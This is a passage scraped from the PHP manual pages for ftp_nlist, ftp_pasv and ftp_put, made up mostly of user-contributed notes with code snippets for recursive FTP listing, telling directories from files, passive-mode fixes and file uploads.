        $contents = ftp_rawlist ($con, $path);
        $a = 0;

        if(count($contents)){
            foreach($contents as $line){

                preg_match("#([drwx\-]+)([\s]+)([0-9]+)([\s]+)([0-9]+)([\s]+)([a-zA-Z0-9\.]+)([\s]+)([0-9]+)([\s]+)([a-zA-Z]+)([\s ]+)([0-9]+)([\s]+)([0-9]+):([0-9]+)([\s]+)([a-zA-Z0-9\.\-\_ ]+)#si", $line, $out);

                if($out[3] != 1 && ($out[18] == "." || $out[18] == "..")){
                    // do nothing
                } else {
                    $a++;
                    $files[$a]['rights'] = $out[1];
                    $files[$a]['type'] = $out[3] == 1 ? "file":"folder";
                    $files[$a]['owner_id'] = $out[5];
                    $files[$a]['owner'] = $out[7];
                    $files[$a]['date_modified'] = $out[11]." ".$out[13] . " ".$out[13].":".$out[16]."";
                    $files[$a]['name'] = $out[18];
                }
            }
        }
        return $files;
    }
?>

Greets,

Jacob
vijay dot mahrra at fronter dot com 17-Mar-2011 11:35
We needed to get a list of all files in all subdirectories and couldn't see a method to do this so we wrote our own:

<?php
/**
 * ftpRecursiveFileListing
 *
 * Get a recursive listing of all files in all subfolders given an ftp handle and path
 *
 * @param resource $ftpConnection  the ftp connection handle
 * @param string $path  the folder/directory path
 * @return array $allFiles the list of files in the format: directory => $filename
 * @author Niklas Berglund
 * @author Vijay Mahrra
 */
function ftpRecursiveFileListing($ftpConnection, $path) {
    static $allFiles = array();
    $contents = ftp_nlist($ftpConnection, $path);

    foreach($contents as $currentFile) {
        // assuming its a folder if there's no dot in the name
        if (strpos($currentFile, '.') === false) {
            ftpRecursiveFileListing($ftpConnection, $currentFile);
        }
        $allFiles[$path][] = substr($currentFile, strlen($path) + 1);
    }
    return $allFiles;
}
?>
zgardner at allofe dot com 29-Nov-2010 02:46
While running WAMP (Vista, Apache 2.21, MySQL 5.1.36, PHP 5.3) and recursively downloading files from a LAMP FTP server (Ubuntu 8.04, Apache 2.2.8, MySQL 5.1.51a, PHP 5.2.4, VSFPTD), I would find that my script stops downloading files after a while. I traced it to the call to ftp_nlist halting the script.

To solve this, I did a ftp_pasv($ftp, true). There's nothing in the VSFTPD, Apache, or PHP error logs on either the client or the server. Very strange.
Anonymous 29-Dec-2009 06:39
Some complain that ftp_nlist, always return FALSE. I did experience this behavior myself, until I used ftp_pasv, which is useful if your client is behind a firewall (which most clients are now), then ftp_nlist worked just fine. I don't really know what are all the implications of using ftp_pasv, but if you read or experience that ftp_nlist, ftp_get, ftp_nb_get doesn't work, try adding the following:

ftp_pasv($conn_id,true);
juhakala at gmail dot com 07-May-2008 12:23
I noticed that this function won't work if working path is different, because $dir keeps value of whole path string. That's why adding basename()-function strips the path and this function will work also sub folders, not only in root folder.

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, basename($dir))) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
webmaster at weltvolk dot de 12-Oct-2007 03:28
In order to make file/folder separation work on remote servers that do not support ftp_size() it's better to use the function ftp_is_dir() mentioned below:

<?php

//identify directories

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, $dir)) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. ftp_is_dir() is true => directory
  if (ftp_is_dir($v)) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. ftp_is_dir() is false => file
  if (!ftp_is_dir($v)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>
webmaster at weltvolk dot de 05-Oct-2007 11:24
How to get the file list in alphabetical order with all directories at the top:

<?php
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. Size is '-1' => directory
  if (ftp_size($ftp_connect, $v) == -1) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. Size is not '-1' => file
  if (!(ftp_size($ftp_connect, $v) == -1)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>

Result looks like:

[ a_mydirectory ]
[ b_mydirectory ]
[ c_mydirectory ]
...
a_myfile.htm
b_myfile.css
c_myfile.php
...
wim dot dupre at skynet dot be 21-Aug-2007 02:59
php 5.2.2 on MAC OS 1.4 (Tiger) seems to defaut to active ftp. to get ftp_nlist functioning, i needed to force ftp to passive.
the default behaviour with PHP 5.2.3 on windows XP seems to be passive ftp.

greetz,

wim
ralph at ralphje dot nl 16-Aug-2007 12:13
If you receive an error due some open_basedir restrictions, use the following:

<?php
putenv('TMPDIR=/tmp/');
$filelist = ftp_nlist($ftp, "./accounts");
?>

(if /tmp/ is an allowed directory within open_basedir)

It took me a while to find this out.
AndyM 14-Aug-2007 06:13
Be careful tom at crysis-online dot com - your suggested method seems to be server dependent. I'm currently trying to talk to a proftpd server and the size returned is -1 for all files it seems.
tom at crysis-online dot com 10-Aug-2007 01:12
This function is way faster than those below for checking if an object is a file or folder.

<?php
function is_ftp_dir($file, $ftp_connection){
    if(ftp_size($ftp_connection, $file) == '-1'){
        return true; // Is directory
    }else{
        return false; // Is file
    }
}
?>
bintjes at gmail dot com 24-Jul-2007 11:51
I've made a recursive function to list all files from folders and subfolders using ftp_rawlist() . I used the function below from ari,  parse_rawlist()

function list_all_files($conn_id, $path){
    $buff = ftp_rawlist($conn_id, $path);
    $res = parse_rawlist( $buff) ;
    static $flist = array();
    if(count($res)>0){
        foreach($res as $result){
            // verify if is dir , if not add to the  list of files
            if($result['size']== 0){
                // recursively call the function if this file is a folder
                list_all_files($conn_id, $path.'/'.$result['name']);
            }
            else{
            // this is a file, add to final list
                $flist[] = $result;
            }
        }
    }
    return $flist;
}
josh at servebyte dot com 21-Feb-2007 07:40
Function Keywords: is_file is_dir

<?php
$ftp_server = 'IP OR HOSTNAME HERE';
$ftp_user_name = 'USERNAME';
$ftp_user_pass = 'PASSWORD';
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

function ftp_is_dir($folder) {
   global $conn_id;
   if (ftp_chdir($conn_id, $folder)) {
      ftp_chdir($conn_id, '..');
      return true;
   } else {
      return false;
   }
}

function xdir($path) {
   global $conn_id;
   $contents = ftp_nlist($conn_id, $path);
   foreach($contents as $file) {
      if ($file!='.'&&$file!='..') {
         if (ftp_is_dir($file)) {
            echo $file . ' is a folder<br>';
         } else {
            echo $file . ' is a file<br>';
         }
      }
   }
}
xdir('.');
?>

can be looped through... using the function xdir if the file is a folder ;)
Returns a warning upon not being a folder... use error_reporting(0); to resolve this issue.
nigel (at) amanwithapencil (dot) com 04-Feb-2007 01:02
Actually, this works better (suppresses the error when ftp_chdir() fails)!:

if (!@ftp_chdir($ftp_conn, $userfolder))
{
    ftp_mkdir($ftp_conn, $userfolder);
    ftp_chdir($ftp_conn, $userfolder);
}
nigel (at) amanwithapencil (dot) com 03-Feb-2007 05:26
Further to kip's post, this works:

if (!ftp_chdir($conn, $folder))
{
    ftp_mkdir($conn, $folder);
    ftp_chdir($conn, $folder);
}
kip at friendchip dot com 12-Dec-2006 01:48
If you're just after an ftp version of is_dir you can see if ftp_chdir returns true or false.
fx dot menard at pleasenospam dot free dot fr 05-Oct-2006 11:35
A derived use of ftp_nlist function: determine if a given path exists and is a directory or a plain file (this is not easy with basic ftp functions). This code doesn't issue any warning or error. It makes use of ls option -d for efficiency, and -F to append a slash if the retrieved path is a directory.

<?php
// returns information on a given ftp path
// 0 if path does not exist
// 1 if path is a file
// 2 if path is a directory
function ftp_pathtype( $conn, $path )
{
    $res = ftp_nlist( $conn, "-dF " . $path );
    if ( isset( $res[0] ) and
         strlen( $res[0] ) )
    {
        if ( $res[0][ strlen( $res[0] )-1 ] === "/" )
            // a directory
            return 2;
        else
            return 1;
    } else
        return 0;
}
?>
artiom1st at yahoo dot com 24-Aug-2006 04:26
Sometimes, you won't be able to get folder content because of NAT or Firewall issues on your server. As a result you need to put ftp connection into a passive mode:

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// enabling passive mode
ftp_pasv( $conn_id, true );

// get contents of the current directory
$contents = ftp_nlist($conn_id, ".");

// output $contents
var_dump($contents);

?>
sksafarath at impelsys dot com 23-Aug-2006 01:17
If we are giving second parameter as full directory  path then it wil return the list of files with full path, If we want to list only files you can do as following code
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
//if u want to display the files from /home/test/
//change directory point to /home/test using
ftp_chdir($conn_id, "test");
//then pass second parameter as null which will give the list of files.
// get contents of the current directory
$contents = ftp_nlist($conn_id, "");

Note: This is working for me in PHP5
robtherat at gmx dot de 09-Aug-2006 03:00
The function from nekrostar at gmx dot net does not work for me, so I've tryed to do it my way. For checking if a found file is a directory or not I use the ftp_size function.

<?php
function ftplistdir($conn_id, $dir){
    $fold_no = array(".", "..", "cgi-data", "comp", "zuern", "counter");
    $list = ftp_nlist( $conn_id, $dir );
    foreach($list as $file){
        if (ftp_size($conn_id, $dir ."/".$file)== -1){
            if (in_array($file, $fold_no)) {
                print $file ." Ueberspringe ausgeschlossenes Verzeichnis.<br>";
            } else {
                $geslist[]= $dir ."/". $file;
                $temp=ftplistdir($conn_id, $dir ."/". $file);
                $geslist=array_merge($geslist, $temp);
            }
        }else{
            $geslist[]= $dir ."/". $file;
        }
    }
    return $geslist;
}
?>
I hope it's usefull for anyone
Robert
nekrostar at gmx dot net 02-Aug-2006 01:08
This function returns an array with the directory path and all files and subdirs which are in this

    function ftp_searchdir($conn_id, $dir)
    {
        if( !@ftp_is_dir( $conn_id, $dir ) ) {
            die( 'No such directory on the ftp-server' );
        }
        if( strrchr( $dir, '/' ) != '/' ) {
            $dir = $dir.'/';
        }
        $dirlist[0] = $dir;
        $list = ftp_nlist( $conn_id, $dir );
        foreach( $list as $path ) {
            $path = './'.$path;
            if( $path != $dir.'.' && $path != $dir.'..') {
                if( ftp_is_dir( $conn_id, $path ) ) {
                        $temp = ftp_searchdir( $conn_id, ($path), 1 );
                        $dirlist = array_merge( $dirlist, $temp );
                } else {
                    $dirlist[] = $path;
                }
            }

        }
        ftp_chdir( $conn_id, '/../' );

        return $dirlist;

    }
----------------------------------------------------------------------
    //Looks if a directory ($dir) is isset
    //returns true or false

    function ftp_is_dir( $conn_id,  $dir )
    {
        if( @ftp_chdir( $conn_id, $dir ) ) {
            ftp_chdir( $conn_id, '/../' );
            return true;
        } else {
            return false;
        }
    }
mail at martinauer dot net 14-May-2006 07:27
Beware:
The array will contain complete paths, not just filenames. At least in PHP 4.3.11 when I tried

ftp_nlist("www.example.com/docs/some/thing")

it dumped something like this:

  [0]=>
  string(41) "www.example.com/docs/some/thing/file1.htm"
  [1]=>
  string(41) "www.example.com/docs/some/thing/file2.htm"
  [2]=>
  string(41) "www.example.com/docs/some/thing/file3.htm"
  [3]=>
  string(41) "www.example.com/docs/some/thing/file4.htm"
  [4]=>
  string(41) "www.example.com/docs/some/thing/file5.htm"
franck569 at free dot fr 24-Feb-2006 07:32
better version of turigeza on yahoo com ftp_rmdirr() function.

This return true or false if the path will be removed :

function ftp_rmdirr($handle, $path)
{
    if(!@ftp_delete($handle, $path))
    {
        $list = @ftp_nlist($handle, $path);
        if(!empty($list))
            foreach($list as $value)
                ftp_rmdirr($handle, $value);
    }

    if(@ftp_rmdir($handle, $path))
        return true;
    else
        return false;
}
turigeza on yahoo com 07-Nov-2005 04:10
Recursive directory delete using ftp_nlist() ...
<?php
function ftp_rmdirr($path, $handle)
    {
    if (!(@ftp_rmdir($handle, $path) || @ftp_delete($handle, $path)))
        {
        $list = ftp_nlist($handle, $path);
        if (!empty($list))
            foreach($list as $value)
                ftp_rmdirr($value, $handle);
        }
    @ftp_rmdir($handle, $path);
    }
?>
It would be very useful if it was built into php. After all most of the time we want to remove non empty directories too. I bet everyone out there dealing with the file system had faced this problem.
dreamsavior at gmail dot com 30-Jun-2005 06:19
Here is the function that would checking whether the given path is directory or not, using ftp_nlist;

<?php
function is_ftp_dir($itempath, $ftp_server, $ftp_user_name='anonymous', $ftp_user_pass='') {
    if (empty($ftp_user_name)) {
        $ftp_user_name = "anonymous";
    }
    if ($itempath[0]!=="/") {
        $itempath = "/".$itempath;
    }

    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    $contents = ftp_nlist($conn_id, "$itempath");

    if (!empty($contents[0])) {
        $check = str_replace($itempath, "", $contents[0]);
        if (!empty($check)) {
            return true;
        }
    }
    ftp_close($conn_id);
}

// example :
    if (is_ftp_dir("/pub/ftp/unknownitem", "ftp.nowhere", 'username', 'verysecret'')) {
        // do something related to directory handling action
    } else {
        // The target item is a file ...
    }

?>
ds at over dot hu 18-Dec-2004 05:43
Another file filecollect script, with static.

<?php

function filecollect($conn_id,$dir='.') {
  static $flist=array();
  if ($files = ftp_nlist($cid,$dir)){
    foreach ($files as $file) {
      if (ftp_size($cid, $file) == "-1"){
        filecollect($cid,$file);
      } else $flist[] = $file;
    }
  }
  return $flist;
}

$conn_id = ftp_connect('ftp.nowhere.com') or die("Couldn't connect to server");
  if (@ftp_login($conn_id, 'anonymous', 'pass@nowhere.com')){
    $filelist = filecollect($conn_id);
    echo "<pre>";
      print_r($filelist);
    echo "</pre>";
  }

?>
webmaster at torbox dot info 26-Sep-2004 06:16
To use custom LIST - flags, for example
LIST -aF ../*/
(listing protected pub dirs)
You can use
<?php
$list = ftp_nlist($ftp, "-aF ../*/");
?>
Took me a while to clever that one out :-)
micksam7 at neodecoder dot com 29-Feb-2004 11:40
A little correction to king_killa at juggalos4life dot com's note, it isn't ftp_res, it's ftp_size.

By the way, here is a complete function that will get all the files on a server, then write them to a array.

<?php
$ftp1 = ftp_connect('ftp.nowhere1230404.foo') or die("Couldn't connect to server");
ftp_login($ftp1,'foo','bar');
ftp_pasv($ftp1, TRUE); //Passive Mode is better for this

//Get them file!
echo "Collecting Files on Neodecoder<br>";
//Set defaults just in case. PHP complains anyway if we don't.
$dir = "";

function filecollect($dir,$filelist) {
global $ftp1; //Get our ftp
$files = ftp_nlist($ftp1,$dir); //get files in directory
foreach ($files as $file) {
 $isfile = ftp_size($ftp1, $file);
 if($isfile == "-1") { //Is a file or directory?
  $filelist = filecollect($dir.'/'.$file,$filelist,$num); //If a folder, do a filecollect on it
 }
 else {
  $filelist[(count($filelist)+1)] = $file; //If not, add it as a file to the file list
 }
}
return $filelist;
}

$filelist = filecollect($dir,$filelist);

echo "<pre>";
print_r($filelist);
echo "</pre>";
?>

This is really handy if your trying to transfer all the files from a ftp server to another server. Which, is why I made the script in the first place. heh..
tobrien at florahill dot vic dot edu dot au 13-Oct-2003 05:27
ftp_nlist() or ftp_rawlist() takes ages then returns nothing...

If you are having this issue, you may need to enable PASV mode FTP transfers using the ftp_pasv() function.

Example...

<?php
$ftp_host = "yourFTPHost";
$ftp_user = "yourUsername";
$ftp_password = "yourPassword";

//Connect
echo "<br />Connecting to $ftp_host via FTP...";
$conn = ftp_connect($ftp_host);
$login = ftp_login($conn, $ftp_user, $ftp_password);

//
//Enable PASV ( Note: must be done after ftp_login() )
//
$mode = ftp_pasv($conn, TRUE);

//Login OK ?
if ((!$conn) || (!$login) || (!$mode)) {
   die("FTP connection has failed !");
}
echo "<br />Login Ok.<br />";

//
//Now run ftp_nlist()
//
$file_list = ftp_nlist($conn, "");
foreach ($file_list as $file)
{
  echo "<br>$file";
}

//close
ftp_close($conn);

?>
aRc 14-Jul-2003 09:46
in windows, ftp_nlist will die on a directory with a space in it's name.  to get around this, use ftp_chdir:

//change directory
ftp_chdir($conn, "directory with spaces");
//then blindly list
$contents = ftp_nlist($conn, "");
neodeus at allesamarsch dot com 03-Jun-2003 07:10
This is an Example tp read out a Complete FTP Server ( beginn at your root dir )
    function files($dir)
    {
        /*
        if(!isset($dir) || empty($dir))
        {
            $dir=ftp_pwd($this->conn_id);
        }
        */
        unset($list);
        unset($files);
        unset($folders);
        unset($folder);
        unset($file);
        @ftp_chdir($this->conn_id, $dir);
        $dir = ftp_pwd($this->conn_id);
        $list=Array();
        $list=ftp_nlist($this->conn_id, "$dir");
        $files = Array();
        $folders = Array();
        for($i = 0; $i != sizeof($list); $i++)
        {
            $entry = str_replace("//", "", $list[$i]);
            if(@ftp_chdir($this->conn_id, $entry))
            {
                $folders[] = $entry;
                ftp_chdir($this->conn_id, $dir);
            }
            else
            {
                $files[] = $entry;
            }
        }
        print "\t<b> Dateien in ".$dir." :</b><br><br>";
        foreach($files as $file)
        {
            print $file."<br>";
        }
        print "\t<b>Ordner in ".$dir." :</b> <br><br>";
        foreach ($folders as $folder)
        {
            print "\t".$folder."<br>";
            ftp_chdir($this->conn_id, $dir);
            $this->files($folder);
        }
    }
louis at ewens dot com 30-Apr-2003 01:03
If you do a wildcard or other search for a particular file and the file doesn't exist, Solaris FTP servers send back "search*.xml: No such file or directory" as a single element in the response array. This makes it hard to check for the presence of a file.

One possible work-around is to parse your own raw directory listing. Or you could check for the error verbatim. But different servers could return different values. A simpler way to compensate is to use the ftp_size command to validate the returned file:

if ( ($filelist = ftp_nlist( $this->conn_id, $filesearch )) === FALSE )
{
       Error( "Could not get file list" );
       return FALSE;
}
// File actually exists? Catches invalid FTP server list responses
if ( !count($filelist) || ftp_size( $this->conn_id, $filelist[0] ) == -1 )
{
       Error( "No valid files" );
       return FALSE;
}
// File is really there, fetch it or whatever else you want to do
rfr at ajato dot com dot br 13-Feb-2003 05:25
There are some FTP servers that just dont accept the ftp_nlist command, they return a bool variable. but I think all of them accept the LIST command which is the ftp_rawlist command. So yu have to parse rawlist to nlist. I found a code here posted by "fredrik" but it shows a bug if the files at the ftp server have spaces oon theeir name... so here its a better function:
function rawlist_2_nlist($list)
{
    $newlist = array();
    reset($list);
    while (list(,$row) = each($list))
    {
        $buf="";
        if ($row[0]=='d'||$row[0]=='-'){
        $buf = substr($row,55);
        $newlist[]=$buf;
        }
    }

return $newlist;
}
ryan at wonko dot com 21-Mar-2002 04:31
A note to developers using PHP on Windows servers: as of PHP 4.1.2, ftp_nlist() is broken in the Windows build of PHP. It will return nothing at all, even if the same code works fine on UNIX. So if you're going crazy trying to figure out why the function isn't returning anything, stop wasting your time, you're not doing anything wrong. Hopefully this will get fixed in future versions, although it's apparently been an issue since at least 4.0.6.

More info on this bug is at http://bugs.php.net/bug.php?id=16057
markw at altexa dot com 13-Nov-2000 09:33
You can do a wildcard file listing with ftp_nlist, as in:

$list=ftp_nlist($conn_id, "$dir/*.txt");


Turns passive mode on or off

  • « ftp_nlist
  • ftp_put »
  • PHP Manual
  • FTP Functions
  • Turns passive mode on or off

ftp_pasv

(PHP 4, PHP 5)

ftp_pasv — Turns passive mode on or off

Description

bool ftp_pasv ( resource $ftp_stream , bool $pasv )

ftp_pasv() turns on or off passive mode. In passive mode, data connections are initiated by the client, rather than by the server. It may be needed if the client is behind firewall.

Please note that ftp_pasv() can only be called after a successfull login or otherwise it will fail.

Parameters

ftp_stream

The link identifier of the FTP connection.

pasv

If TRUE, the passive mode is turned on, else it's turned off.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_pasv() example

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// turn passive mode on
ftp_pasv($conn_id, true);

// upload a file
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
 echo "successfully uploaded $file\n";
} else {
 echo "There was a problem while uploading $file\n";
}

// close the connection
ftp_close($conn_id);
?>

User Contributed Notes

carda at two-wings dot net 31-Jul-2014 05:16
It should be noted that ftp_pasv has to be called AFTER ftp_login (not after ftp_connect). May seem obvious to many but it took me three hours to find out...
sameg14 at gmail dot com 08-May-2014 08:06
If you are running filezilla in passive mode, on windows, and try to connect using PHP, you might encounter an error that reads "425 Can't open data connection for transfer of ..."
This error is not indicative of a passive mode issue, but can be resolved by using
<?php
ftp_pasv($conn, true);
?>
marc at gutt dot it 20-Feb-2013 06:32
If you are still having problems after choosing ftp_pasv() you should refresh the connection through ftp_close() / ftp_connect() after x files and/or y GB have been transfered.

It solved several (random) occurring problems like:

ftp_get(): Opening BINARY mode data connection

ftp_get(): Entering Passive Mode

Hint: fopen() created a file so don't forget to delete it if an error occurred ;)
mac at codegreene dot com 10-Jul-2010 12:20
I found one place that required passive mode to function properly, but the initial error manifested itself in an odd way:

PHP Warning:  ftp_put(): TYPE is now ASCII in <file.php> on line <#>

or

PHP Warning:  ftp_put(): TYPE is now 8 BIT BINARY in <file.php> on line <#>

The other symptom is that it was taking a long time, perhaps the 90 seconds that the timeout was set to. No errors occurred upon connect, just when I tried ftp_put().

Once I turned on ftp_pasv() it worked, both in the place where active mode worked, and on the server where active mode wouldn't work.
Anonymous 04-Sep-2009 07:45
If you find that you are receiving "Illegal PORT command" errors you may want to try enabling passive mode.
ybourbeau at edison dot ca 09-Apr-2002 12:28
Directly from bsd FTP manual pages:

The PASV command requests that the remote server open a port for the data connection and return the address of that port.  The remote server listens on that port and the client connects to it.

                 When using the more traditional PORT command, the client listens on a port and sends that address to the remote server, who connects back to it.  Passive mode is useful when using ftp through a gateway router or host that controls the directionality of traffic.  (Note that though ftp servers are required to support the PASV command by RFC 1123, some do not.)
04-Apr-2002 01:19
PASV: For ftp users behind firewall, the server LISTEN for a connection.

Non-PASV: The client LISTEN for a connection from server.


Uploads a file to the FTP server

  • « ftp_pasv
  • ftp_pwd »
  • PHP Manual
  • FTP Functions
  • Uploads a file to the FTP server

ftp_put

(PHP 4, PHP 5)

ftp_put — Uploads a file to the FTP server

Description

bool ftp_put ( resource $ftp_stream , string $remote_file , string $local_file , int $mode [, int $startpos = 0 ] )

ftp_put() stores a local file on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file path.

local_file

The local file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

startpos

The position in the remote file to start uploading to.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_put() example

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// upload a file
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
 echo "successfully uploaded $file\n";
} else {
 echo "There was a problem while uploading $file\n";
}

// close the connection
ftp_close($conn_id);
?>

See Also

  • ftp_pasv() - Turns passive mode on or off
  • ftp_fput() - Uploads from an open file to the FTP server
  • ftp_nb_fput() - Stores a file from an open file to the FTP server (non-blocking)
  • ftp_nb_put() - Stores a file on the FTP server (non-blocking)

User Contributed Notes

donjajo at 2netlodge dot com 15-Sep-2013 06:08
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Simple FTP Upload Script using PHP by 2netlodge</title>
</head>

<body>
<?php
if(isset($_POST['ftp']))
     {
        $ftp = $_POST['ftp'];
        $username = $_POST['username'];
        $pwd = $_POST['pwd'];
        $filename = $_FILES['file']['name'];
        $tmp = $_FILES['file']['tmp_name'];
        $d = $_POST['des'];

        $connect = ftp_connect($ftp)or die("Unable to connect to host");
        ftp_login($connect,$username,$pwd)or die("Authorization Failed");
        echo "Connected!<br/>";

        if(!$filename)
            {
                echo"Please select a file";
            }
        else
            {
                ftp_put($connect,$d.'/'.$filename,$tmp,FTP_ASCII)or die("Unable to upload");
                        echo"File successfully uploaded to FTP";
            }
    }

?>
<form action="" method="post" enctype="multipart/form-data">
<input type="text" name="ftp" placeholder="FTP link"/><br/>
<input type="text" name="username" placeholder="Username"/><br/>
<input type="password" name="pwd" placeholder="Password"/><br/>
<input type="file" name="file" /><br/>
<input type="text" name="des" placeholder="Destination"  /><br/>
<br/><input type="submit" value="Upload"/></form>

</body>
</html>
Anonymous 24-Aug-2012 09:59
If you are getting the very helpful warnings...
"Opening BINARY mode data connection" or
"Opening ASCII mode data connection"

... and have tried ftp_pasv, ftp_alloc, switching between FTP_ASCII or FTP_BINARY and blaming the FTP provider (like I did), try using ftp_close then ftp_connect to reset your FTP connection. Worked for me!
Anonymous 13-Mar-2012 07:28
Hi !

If you get this error when trying to send data to server :
Warning: ftp_put() [function.ftp-put]: Unable to build data connection: Connection timed out...

Two solutions :
 - Add the program httpd.exe in your exception list for external connexions of your firewall. Indeed, the FTP protocol open a new socket for data transfer. And this socket is opened from the server to the client (your computer). This program is located (for WAMP) in C:\wamp\bin\apache\Apache[version]\bin\
 - Use the ftp_pasv() function to activate the passive mode. In this mode, it is the client who open the new socket to the server.
lourspolair at banquiz dot net 07-Jun-2010 12:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
lousrpolair at banquiz dot net 07-Jun-2010 12:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
JDD 13-Mar-2010 03:22
In case you aren't aware...  Some web hosting services do NOT allow outbound ftp unless you have a dedicated server account.  A "shared" hosting account often doesn't have this capability.

So if you can't get your ftp, curl, or ssh remote file transfer functions to work, check with the host service and ask.  You may have to upgrade your account.
Svinto 01-Mar-2010 01:58
I [had an error for which] ftp_pasv didnt solve the problem. Here's why:

FTP uses 2 connections on different ports, one for connection/handshake and another for data transfer.
The problem was that the ftp-server (that php was connecting to) also used different IP-addresses for the different connections (say what!?).
Normally the firewall (csf) detects ftp-connections and allows them through but because of the different IP-adresses this didn't work.

Solution:
1 angry mail to the ftp server owner.
Allowing the second IP in the firewall.
bintjes at gmail dot com 02-Jul-2009 10:51
I've seen two notes about a "ftp_copy" function but i think   there's a misinterpretation about what an "ftp_copy" function should do. For me , it should be something like an ftp_rename that would keep the orginal file and clone it somewhere else on the same ftp server, as for them they consider its purpose is to copy a local file to a distant ftp ..well .. as in FTP protocol there's no such thing as an FTP COPY  command anyway, i think you're free to interpret it as you want.
So here's my solution using ftp_put and ftp_get ..

<?php
// bool ftp_copy  ( resource $ftp_stream  , string $initialpath, string $newpath, string $imagename )
function ftp_copy($conn_distant , $pathftp , $pathftpimg ,$img){
        // on recupere l'image puis on la repose dans le nouveau folder
        if(ftp_get($conn_distant, TEMPFOLDER.$img, $pathftp.'/'.$img ,FTP_BINARY)){
                if(ftp_put($conn_distant, $pathftpimg.'/'.$img ,TEMPFOLDER.$img , FTP_BINARY)){
                        unlink(TEMPFOLDER.$img) ;
                } else{
                        return false;
                }

        }else{
                return false ;
        }
        return true ;
}
?>
Anonymous 26-Apr-2009 04:51
If when using ftp_put you get the one of the following errors:

Warning: ftp_put() [function.ftp-put]: Opening ASCII mode data connection

Warning: ftp_put() [function.ftp-put]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
Kev 01-Apr-2009 05:36
Got this cryptic error

Warning:  ftp_put() [function.ftp-put]: 'STOR' not understood in
C:\wamp\www\kevtest\ftp_todays.php on line 48

Found the prob, you can't put a path to the destination file
(even though I can do that in the dos ftp client...?)

e.g. - this doesn't work
ftp_put($conn, '/www/site/file.html','c:/wamp/www/site/file.html',FTP_BINARY);

you have to put

<?php
ftp_chdir($conn, '/www/site/');
ftp_put($conn,'file.html', 'c:/wamp/www/site/file.html', FTP_BINARY );
?>
emailfire at gmail dot com 20-May-2008 12:45
Took me forever to work out but this will work if you get the paths right!

<?php
function ftp_copy($file) {
global $conn_id;
$ftp_root = '/public_html/';
$site_root = '/home/usr/public_html/';
return ftp_put($conn_id, $ftp_root . $file, $site_root . $file, FTP_BINARY);
}
?>

Login to your site using an FTP client to retrieve the $ftp_root

Use something like getcwd() to get the $site root
florian dot ember at gmail dot com 17-May-2008 05:08
Currently, there is no function that lets you specifiy the file's contents as a string. However, there is ftp_fput(), which operates on an open file. Using this function in conjunction with tmpfile() lets you emulate this kind of function. (You could also use php://memory, but this breaks BC).

<?php
function ftp_fputs($ftp_stream, $remote_file, $contents, $mode, $startpos = 0)
{
    $tmp = tmpfile();
    fwrite($tmp, $contents);
    rewind($tmp);
    $result = ftp_fput($ftp_stream, $remote_file, $tmp, $mode, $startpos);
    fclose($tmp);
    return $result;
}
?>
Aditya P Bhatt (adityabhai at gmail dot com) 26-Mar-2008 12:18
Here is the Code I am using for the same function with more flexibility in static code:
<?
$name = "FILE NAME";
$filename = "FILE NAME WITH FULL PATH";

//-- Code to Transfer File on Server Dt: 06-03-2008 by Aditya Bhatt --//
//-- Connection Settings
$ftp_server = "IP ADDRESS"; // Address of FTP server.
